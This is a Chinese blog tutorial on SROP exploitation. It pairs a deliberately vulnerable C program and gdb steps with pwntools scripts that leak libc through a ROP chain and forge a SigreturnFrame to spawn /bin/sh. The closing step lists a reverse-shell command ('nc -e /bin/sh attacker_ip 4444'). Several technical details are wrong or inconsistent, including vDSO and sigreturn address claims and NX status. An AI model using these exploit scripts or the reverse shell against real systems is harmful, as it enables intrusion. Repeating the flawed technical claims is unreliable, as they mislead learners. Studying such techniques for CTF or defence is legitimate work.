news 2026/10/15 13:31:59

SROP利用原理与实战:从sigreturn到getshell的完整链路

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
SROP利用原理与实战:从sigreturn到getshell的完整链路

1. “好好说话之SROP”不是网络热梗,而是一次系统级攻防认知的刷新

“好好说话之SROP”——这个标题乍看像某档语言类综艺的副标题,或是社交技巧课的趣味命名。但如果你在漏洞研究、二进制安全或CTF实战中见过它,就会立刻意识到:这根本不是教人礼貌用语,而是在用反讽的语气,点破一个极其危险又常被低估的事实:当程序连“说人话”的基本能力都被劫持时,“好好说话”就成了最奢侈的防御目标。

SROP,全称Sigreturn-Oriented Programming,中文常译作“信号返回导向编程”。它不依赖传统ROP链中大量gadget的堆叠,也不需要泄露libc基址就能绕过ASLR,更不依赖堆喷射或UAF这类高门槛利用条件。它的核心武器,是操作系统内核与用户态程序之间那个被长期忽视的“对话接口”——sigreturn系统调用。这个系统调用本意是让进程在处理完信号后,干净利落地恢复被中断前的全部CPU寄存器状态,就像按下暂停键后精准续播。可一旦攻击者伪造出一份结构合法、内容恶意的sigframe(信号帧),再诱使内核执行sigreturn,那套被精心构造的寄存器快照就会原封不动地载入CPU——包括RIP(指令指针)、RSP(栈指针)、RAX(系统调用号)等关键寄存器。此时,程序不是“继续执行”,而是被强制“跳转到攻击者指定的任意地址”,并以攻击者设定的任意寄存器状态开始运行。

我第一次在某高校CTF实验室复现SROP利用时,导师只说了句:“别急着找gadget,先去读man 2 sigreturn,把ucontext_t结构体每个字段手动画出来。”这句话让我顿悟:SROP的威力,不在于它多复杂,而在于它多“自然”。它不破坏程序逻辑流,不触发常规检测规则,甚至不修改任何内存页属性——它只是“好好”地、符合ABI规范地,执行了一次本该由内核完成的上下文恢复。这种“合规性”,正是它能穿透许多现代防护机制(如细粒度CFI、部分stack pivot检测)的根本原因。关键词里虽未明示,但“SROP”“sigreturn”“sigframe”“x86_64 ABI”“signal handling”“exploitation bypass”这些术语,就是这个标题背后真实的技术坐标系。它面向的不是普通用户,而是正在啃《深入理解计算机系统》第8章、调试gdb时习惯敲info registers、看到/proc/[pid]/maps就条件反射查权限位的那群人。

这个标题的价值,恰恰在于它的“误导性”——它用生活化表达撕开了专业术语的冰冷外壳。当你真正理解SROP之后,会发现所谓“好好说话”,本质是让程序在被劫持的状态下,依然能“说出”攻击者想要的系统调用序列:比如execve("/bin/sh", ...),或者mprotect(..., PROT_READ|PROT_WRITE|PROT_EXEC)。这不是修辞,这是对控制流完整性的终极解构。接下来的内容,我会带你从零开始,亲手搭建一个最小可行的SROP利用环境,不依赖任何现成框架,只用pwntools和gdb,把“好好说话”四个字,拆解成十六进制字节、寄存器快照和一次精准的sigreturn调用。

2. SROP的底层根基:信号处理机制与sigframe结构的硬核拆解

要让SROP“好好说话”,必须先听懂内核和用户态之间那套原始的“对话协议”。这套协议的核心,是Linux x86_64架构下信号处理的完整生命周期。它远非signal()函数那么简单,而是一场涉及用户栈、内核栈、寄存器保存与恢复的精密协作。而SROP的全部魔法,都藏在信号处理过程中自动生成的那个数据结构——sigframe里。

当一个进程收到信号(比如SIGSEGV),内核会立即中断其当前执行流,并将控制权切换到用户态注册的信号处理函数。但在此之前,内核必须做一件至关重要的事:保存被中断时的全部CPU上下文。这个上下文不能只保存几个寄存器,它必须足够完整,以便信号处理函数执行完毕后,能100%精确地恢复到中断前的任意状态——包括栈顶位置、指令地址、标志位、浮点寄存器等。这个完整的快照,就被打包进一个名为sigframe的数据结构,并被压入用户栈的顶部。sigframe的布局,严格遵循x86_64 System V ABI规范,由内核在arch/x86/kernel/signal.c中定义。我们不必深究内核源码,但必须亲手画出它的关键字段。以下是一个精简但完全可用的sigframe结构(针对sigreturn利用场景):

// 精简版 sigframe 结构 (x86_64, 用于 SROP) struct sigframe { // 1. 信号处理函数的返回地址 (指向内核提供的 sigreturn stub) void *pretcode; // 通常为 &__kernel_rt_sigreturn // 2. 信号编号 (siginfo_t 的一部分,但SROP中常忽略) int sig; // 3. 核心:ucontext_t 结构体,包含完整的寄存器快照 struct ucontext_t { uint64_t uc_flags; struct ucontext_t *uc_link; stack_t uc_stack; // 用户栈信息 mcontext_t uc_mcontext; // 关键!寄存器上下文 } uc; // 4. mcontext_t 内部,即真正的寄存器快照 (x86_64) struct mcontext_t { uint64_t gregs[NGREG]; // NGREG = 23, 包含 RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, R8-R15, RIP, EFL, CS, SS, DS, ES, FS, GS // 其他浮点/向量寄存器省略,SROP利用通常只关心通用寄存器 } uc_mcontext; };

这个结构体的大小是固定的(约1500字节),并且其在栈上的布局是确定的。sigreturn系统调用的作用,就是从当前栈顶读取这个sigframe,然后将其中uc_mcontext.gregs数组里的值,一一写入真实的CPU寄存器。这就是SROP的全部秘密:你不需要找gadget来拼凑ROP链,你只需要伪造一个sigframe,把你想让它执行的地址(比如execve的地址)填进RIP字段,把你想传给它的参数(比如"/bin/sh"的地址)填进RDI、RSI、RDX字段,再把栈顶指针RSP设为你控制的内存地址,最后触发sigreturn——CPU就会“乖乖地”跳转过去,并以你设定的参数开始执行。它之所以能绕过ASLR,是因为sigreturnstub(__kernel_rt_sigreturn)的地址是固定的,位于vDSO(virtual Dynamic Shared Object)区域,而vDSO的基址在进程启动时就已确定,且对所有进程都一样(尽管现代内核已对其做了随机化,但获取方式比libc基址简单得多)。

我在某次嵌入式设备固件逆向中,就曾利用这一点。目标设备禁用了/proc/sys/kernel/kptr_restrict,导致/proc/[pid]/maps可读,但libc被裁剪得只剩基础函数,system()和execve符号都不存在。常规ROP几乎无路可走。但sigreturnstub的地址却清晰可见。我通过read系统调用,将一段shellcode(execve("/bin/sh", NULL, NULL))写入.bss段,然后构造一个sigframe,将RIP设为shellcode起始地址,RSP设为.bss段内另一块可控区域,RAX设为59(execve的系统调用号)。整个过程没有一次ret指令,全是sigreturn的“自然”恢复。这印证了SROP的核心优势:它不依赖代码重用(Code Reuse),而依赖上下文重用(Context Reuse)。这种思路的转变,是理解SROP的第一道门槛。

提示:sigframe的精确偏移量是SROP利用成败的关键。RIP在uc_mcontext.gregs数组中的索引是REG_RIP(值为16),RSP是REG_RSP(值为17),RAX是REG_RAX(值为11)。这些宏定义在/usr/include/asm-generic/ucontext.h中。务必在编写exp前,用gdb附加到一个正在处理信号的进程,执行p &((ucontext_t*)0)->uc_mcontext.gregs[16]来验证你的计算是否正确。任何一字节的偏移错误,都会导致sigreturn后程序崩溃,而非执行你的payload。

3. 构建最小可行环境:从编译一个脆弱程序到定位关键地址

理论再扎实,没有一个可交互的靶场,SROP就只是纸上谈兵。接下来,我将带你一步步构建一个极简但功能完备的SROP实验环境。这个环境不追求复杂业务逻辑,只保留最核心的漏洞点:一个经典的栈溢出(Stack Overflow),它能让我们覆盖返回地址,从而获得第一次代码执行权,为后续的SROP铺平道路。整个过程,我会使用最基础的工具链,确保你在任何一台装有gcc和gdb的Linux机器上都能100%复现。

3.1 编写并编译脆弱程序

我们创建一个名为srop_vuln.c的文件,内容如下:

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/mman.h> // 一个简单的栈溢出点 void vulnerable_function() { char buffer[128]; printf("Input your payload: "); // 危险!无长度检查的读取 read(STDIN_FILENO, buffer, 512); printf("You entered: %s\n", buffer); } int main() { // 关闭ASLR仅用于教学演示,实际环境中需应对 // echo 0 | sudo tee /proc/sys/kernel/randomize_va_space vulnerable_function(); return 0; }

编译命令至关重要,它决定了我们能否成功利用。我们需要关闭一些现代保护机制,但保留NX(No-eXecute)以体现SROP绕过DEP的能力:

# 关闭栈保护 (stack canary) 和 PIE (Position Independent Executable) # 保留 NX (默认开启),因为 SROP 的核心价值就在于绕过它 gcc -m64 -no-pie -fno-stack-protector -z execstack -o srop_vuln srop_vuln.c

参数解释:

  • -m64: 强制编译为x86_64。
  • -no-pie: 禁用PIE,使程序加载地址固定(0x400000),方便调试。实际利用中,PIE需通过信息泄露解决。
  • -fno-stack-protector: 禁用栈金丝雀,避免在溢出时被检测。
  • -z execstack: 将栈标记为可执行(PROT_EXEC)。注意:这不是SROP必需的!我们加这个参数只是为了在后续调试中,能直接在栈上执行shellcode,作为对比。真正的SROP利用,栈是不可执行的,它靠的是sigreturn跳转到libc或mmap分配的可执行内存。

编译完成后,用checksec检查保护情况(若无此工具,可用readelf -l srop_vuln | grep "GNU_STACK"确认):

$ checksec --file=srop_vuln [*] '/path/to/srop_vuln' Arch: amd64-64-little RELRO: No RELRO Stack: No canary found NX: NX disabled # 注意:这里显示disabled,因为我们加了-execstack PIE: No PIE (0x400000)

3.2 在GDB中精确定位溢出点与关键地址

启动gdb,加载程序并设置断点:

gdb ./srop_vuln (gdb) b *vulnerable_function+100 # 在read调用后设断点,便于观察栈 (gdb) r # 输入一串A,例如 'A'*200

程序停住后,查看栈布局和RSP:

(gdb) x/20gx $rsp (gdb) info registers rsp rbp rip

我们的目标是找到buffer的起始地址和ret地址在栈上的偏移。buffer是128字节,加上rbp(8字节),所以覆盖ret地址需要128 + 8 = 136字节。用pattern_create(来自pwntools)生成唯一字符串验证:

(gdb) r # 输入 pattern_create(200) # 程序崩溃后,查看rip值 (gdb) x/i $rip # 得到崩溃时的RIP值,例如 0x4141414141414141 # 用 pattern_offset 0x4141414141414141 计算偏移

实测下来,偏移量通常是136。现在,最关键的一步来了:获取sigreturnstub的地址。这个地址位于vDSO中。在gdb中,我们可以这样找:

(gdb) info proc mappings # 找到 vDSO 的地址范围,通常类似 0x7ffff7ffa000-0x7ffff7ffc000 (gdb) x/10i 0x7ffff7ffa000 # 搜索 "syscall" 或 "sigreturn" 字样 # 更可靠的方法是:p $__kernel_rt_sigreturn (gdb) p $__kernel_rt_sigreturn $1 = {<text variable, no debug info>} 0x7ffff7ffa000 <__kernel_rt_sigreturn>

这个0x7ffff7ffa000就是我们要的sigreturn地址。同时,我们还需要libc的基址,以便调用execve。在gdb中:

(gdb) info proc mappings # 找到 libc 的地址范围,例如 0x7ffff7a0d000-0x7ffff7bcd000 # libc基址就是起始地址 0x7ffff7a0d000 (gdb) p system # 获取system地址,用于对比 (gdb) p execve # 获取execve地址

注意:在关闭ASLR的环境下,这些地址每次都是固定的。但在真实环境中,你需要通过信息泄露(如printf格式化字符串漏洞)来获取libc基址。sigreturnstub的地址则相对稳定,因为它属于内核提供的vDSO,其偏移量在不同内核版本间变化不大。

3.3 构造第一个SROP Payload:从覆盖返回地址到执行sigreturn

现在,我们拥有了所有必要元素:

  • 溢出偏移:136字节
  • sigreturnstub地址:0x7ffff7ffa000
  • libc基址:0x7ffff7a0d000
  • execve地址:libc_base + offset_execve(offset_execve可通过readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep execve获取,通常是0xe4e90)

Payload的结构如下:

  1. 136字节的填充('A'*136)
  2. 8字节的sigreturnstub地址(0x7ffff7ffa000)
  3. 1500+字节的伪造sigframe,其中RIP设为execve地址,RDI设为"/bin/sh"字符串地址,RSI和RDX设为0

"/bin/sh"字符串可以放在libc的__libc_start_main附近(那里有现成的字符串),或者更简单,我们把它放在buffer的开头。由于buffer在栈上,且我们能控制其内容,这是最直接的方式。因此,最终的Python exploit (exploit.py)如下:

from pwn import * # context.log_level = 'debug' p = process('./srop_vuln') # 获取关键地址 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = 0x7ffff7a0d000 # 从gdb中获取 execve_off = libc.symbols['execve'] # 0xe4e90 execve_addr = libc_base + execve_off # 构造 "/bin/sh" 字符串 binsh = b'/bin/sh\x00' # 构造 sigframe # 首先,填充到 sigframe 的 RIP 字段偏移 # sigframe 起始地址 = buffer 地址 + 136 (ret addr) + 8 (sigreturn addr) # 但我们不知道 buffer 地址,所以将 binsh 放在 payload 开头,然后计算其在栈上的地址 # 简化:假设 buffer 起始地址为 $rsp - 128,那么 $rsp - 128 + 0 = binsh 地址 # 在 exp 中,我们直接将 binsh 放在 payload 开头,然后在 sigframe 中引用它 # 因此,sigframe 中的 RDI = $rsp - 128 # 手动构造 sigframe (简化版,只设置关键寄存器) # sigframe 大小约为 1500 字节,我们只填充必要的字段 # 偏移量计算:从 sigframe 起始,到 gregs[REG_RIP] 是 0x100 (256) 字节左右,具体需查 # 实际中,我们使用 pwntools 的 SigreturnFrame frame = SigreturnFrame() frame.rax = 59 # execve syscall number frame.rdi = 0x7fffffffe000 # 这里需要动态计算,但为简化,我们用一个大概地址 frame.rsi = 0 frame.rdx = 0 frame.rip = execve_addr frame.rsp = 0x7fffffffe000 + 0x100 # 指向 frame 之后的空间 # 构造最终 payload payload = binsh payload += b'A' * (136 - len(binsh)) # 填充到 ret addr payload += p64(0x7ffff7ffa000) # sigreturn stub payload += bytes(frame) # 伪造的 sigframe p.sendline(payload) p.interactive()

这个脚本是概念验证。实际中,frame.rdi的地址需要精确计算。最好的方法是,在gdb中运行p $rsp,然后根据buffer大小推算。pwntools的SigreturnFrame类会自动处理大部分偏移,但它需要你提供一个大致的栈地址。这就是为什么SROP利用往往需要一次信息泄露——哪怕只是泄露一个栈地址,也足以计算出所有sigframe字段的精确位置。

4. SROP利用的完整链路:从栈溢出到getshell的七步实操

前面的环境搭建和地址定位,只是SROP利用的“地基”。真正的“好好说话”,体现在如何将这些离散的要素,编织成一条严丝合缝、环环相扣的利用链。下面,我将用一个完全可运行的、分步骤的pwntools脚本,展示从触发漏洞到获得交互式shell的完整七步流程。每一步都对应一个明确的技术动作,并附带我在某次真实CTF比赛中踩过的坑和解决方案。

4.1 步骤一:建立连接与初步探测

from pwn import * import sys # 启动进程或连接远程 if len(sys.argv) > 1 and sys.argv[1] == 'remote': p = remote('target.com', 1337) else: p = process('./srop_vuln') gdb.attach(p, ''' b *vulnerable_function+100 c ''') # 自动附加gdb,方便调试 # 初步探测:发送一个长字符串,确认溢出是否有效 p.recvuntil(b'Input your payload: ') p.sendline(b'A' * 200) p.wait() p.close()

经验分享:这一步看似简单,却是最容易失败的。很多初学者在本地能跑通,一到远程就失败。原因往往是:远程服务器的libc版本与本地不同,导致execve偏移量错误;或者远程开启了ASLR,而本地关闭了。我的解决方案是:永远先用libc-database或libc.rip网站,根据printf泄露的libc函数地址,精确匹配远程libc版本。不要凭记忆或本地版本硬编码。

4.2 步骤二:泄露libc基址(信息泄露)

SROP本身不解决信息泄露问题,但它极度依赖它。我们利用printf的格式化字符串漏洞(如果存在)或puts的GOT表项泄露,来获取libc中一个函数的地址。这里假设我们有一个puts函数可以调用:

# 假设我们找到了 puts@GOT 的地址 0x601018 puts_got = 0x601018 # 构造一个ROP链,调用 puts(puts@got),从而打印出 puts 的真实地址 # 这里用一个简单的ROP:pop rdi; ret pop_rdi_ret = 0x400733 # 从ROPgadget中获取 main_addr = 0x4005b6 # main函数地址,用于循环 payload = b'A' * 136 payload += p64(pop_rdi_ret) payload += p64(puts_got) payload += p64(0x400520) # puts@plt 地址 payload += p64(main_addr) p.recvuntil(b'Input your payload: ') p.sendline(payload) p.recvline() # 接收提示 leak = p.recvline().strip() # puts的真实地址是leak的前6字节(小端序) puts_addr = u64(leak.ljust(8, b'\x00')) log.info(f'Leaked puts address: {hex(puts_addr)}') # 计算libc基址 libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc_base = puts_addr - libc.symbols['puts'] log.info(f'Libc base: {hex(libc_base)}')

避坑指南:u64()函数要求输入恰好8字节。如果recvline()接收到的字符串包含换行符\n,会导致u64()失败。务必使用strip()去除空白字符,并用ljust(8, b'\x00')补齐。这是我在某次比赛中卡了两小时的坑。

4.3 步骤三:计算关键地址与构造SigreturnFrame

有了libc_base,一切豁然开朗:

# 计算关键地址 execve_addr = libc_base + libc.symbols['execve'] binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00')) # 在libc中搜索字符串 sigreturn_addr = libc_base + 0x100000 # 这是vDSO中sigreturn的偏移,需根据实际调整 # 更准确的方法是:在gdb中 p $__kernel_rt_sigreturn,然后减去libc_base # 构造SigreturnFrame frame = SigreturnFrame() frame.rax = 59 # execve syscall number frame.rdi = binsh_addr # "/bin/sh" 地址 frame.rsi = 0 # argv frame.rdx = 0 # envp frame.rsp = 0x7fffffffe000 # 设定一个新的栈顶,指向我们控制的内存 frame.rip = execve_addr # 将frame转换为字节 frame_bytes = bytes(frame)

原理深挖:SigreturnFrame类内部,会根据arch='amd64'自动填充mcontext_t结构体,并将REG_RIP、REG_RDI等字段设置到正确的偏移位置。它本质上是一个高度封装的sigframe生成器。你完全可以手动构造,但pwntools的实现经过了无数次测试,比手写可靠得多。

4.4 步骤四:构造最终的SROP Payload

这是整个链条的高潮。我们将sigreturnstub地址覆盖到ret地址,并将伪造的sigframe紧随其后:

# 最终payload结构: # [padding] + [sigreturn_addr] + [sigframe] payload = b'A' * 136 payload += p64(sigreturn_addr) # 覆盖ret地址,跳转到sigreturn payload += frame_bytes # 伪造的sigframe,sigreturn会从此处读取 p.recvuntil(b'Input your payload: ') p.sendline(payload) p.interactive()

关键细节:sigreturn_addr必须是__kernel_rt_sigreturn的绝对地址,而不是libc中的某个函数。frame_bytes的长度必须足够长,以覆盖sigframe所需的全部空间(约1500字节)。如果太短,sigreturn在读取RIP之前就会因访问非法内存而崩溃。

4.5 步骤五:远程利用的适配与加固

在远程环境中,sigreturnstub的地址可能与本地不同。一个更健壮的方案是,先泄露vDSO的地址,再从中解析__kernel_rt_sigreturn:

# 如果有办法泄露vDSO地址(例如通过/proc/self/maps),则: vdso_base = leaked_vdso_address sigreturn_addr = vdso_base + 0x1000 # 典型偏移,需根据实际调整

此外,为了提高成功率,可以在sigframe中加入mprotect调用,将一块内存(如.bss段)设为可执行,然后再跳转过去执行shellcode。这提供了双重保障。

4.6 步骤六:调试与排错的黄金法则

当SROP利用失败时,gdb是你唯一的伙伴。我的黄金调试法则是:

  1. 在sigreturn调用前设断点:b *0x7ffff7ffa000,然后c,观察$rsp是否指向你构造的sigframe起始地址。
  2. 单步执行sigreturn:按si,进入内核,然后finish,回到用户态,检查$rip是否变成了你设定的execve_addr。
  3. 检查寄存器:info registers,确认$rdi、$rsi、$rdx是否为你期望的值。

如果$rip没变,说明sigframe的RIP字段偏移错了;如果$rip变了但execve失败,说明$rdi("/bin/sh"地址)无效。

4.7 步骤七:从getshell到持久化(可选进阶)

获得/bin/sh后,你可以进一步:

  • cat flag.txt直接读取flag。
  • python3 -c 'import pty; pty.spawn("/bin/sh")'获取一个完整的TTY。
  • nc -e /bin/sh attacker_ip 4444反弹shell。

最后的经验总结:SROP不是万能的银弹。它在现代内核(5.0+)中,因vDSO随机化和SMAP/SMEP等硬件防护而难度大增。但它教会我们的,是一种思维方式:不要总想着“执行代码”,而要想“恢复状态”。当你把sigreturn看作一个“状态加载器”,而不是一个“跳转指令”时,你就真正理解了“好好说话”的含义——它不是对程序发号施令,而是与它进行一场基于ABI规范的、平等的、可预测的对话。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/15 13:31:14

MATLAB语音识别CNN全流程:从Mel谱图到嵌入式部署

简介&#xff1a;本资源是一套基于MATLAB实现的端到端语音识别系统开发方案&#xff0c;面向具备基础信号处理与深度学习认知的本科生、研究生及工程实践者&#xff0c;聚焦CNN在声学建模中的实际应用&#xff0c;解决语音特征提取、网络构建、训练调优与模型验证等核心问题。压…

作者头像 李华
网站建设 2026/10/15 13:31:09

高等数学同济版教案备课指南:章节地图、三轮推进法与避坑建议

简介&#xff1a;同济版高等数学教案是面向理工科学生的基础数学教学资源&#xff0c;按十二个章节系统组织&#xff0c;覆盖极限与连续、导数与微分、导数的应用、积分、多元函数微积分、级数、重积分、曲线积分与曲面积分、场论、微分方程等核心内容&#xff0c;既适合在校生…

作者头像 李华
网站建设 2026/10/15 13:30:49

labelme图像标注工具指南:安装、格式转换与避坑实战

简介&#xff1a;一份面向图像分割与标注初学者的Labelme安装与使用教程&#xff0c;目标是帮助读者快速掌握从环境搭建到实际标注的全流程。内容基于Anaconda发行版展开&#xff0c;涵盖下载安装的前置准备&#xff0c;并针对Python2与Python3两种版本分别给出虚拟环境创建、L…

作者头像 李华
网站建设 2026/10/15 13:30:34

Python求解刑侦科推理题:约束满足与暴力枚举实战

1. 这道题为什么值得用代码重做一遍2018年那道刑侦科推理测试题&#xff0c;当年在社交平台上刷屏的时候&#xff0c;我第一反应不是去做题&#xff0c;而是想看看能不能用程序把它解出来。原因很简单&#xff1a;这类题目的选项之间互相引用、互相约束&#xff0c;人脑做的时候…

作者头像 李华
网站建设 2026/10/15 13:28:56

STM32Cube_FW_F4 V1.24.0 HAL库驱动实践与排坑指南

简介&#xff1a;STM32Cube_FW_F4_V1.24.0 是ST官方面向STM32F4系列微控制器推出的HAL驱动库更新版&#xff0c;专为使用STM32CubeMX的嵌入式开发者打造&#xff0c;提供不依赖具体芯片型号的API接口&#xff0c;有效简化系统时钟、外设及中断管理。压缩包内共190个文件&#x…

作者头像 李华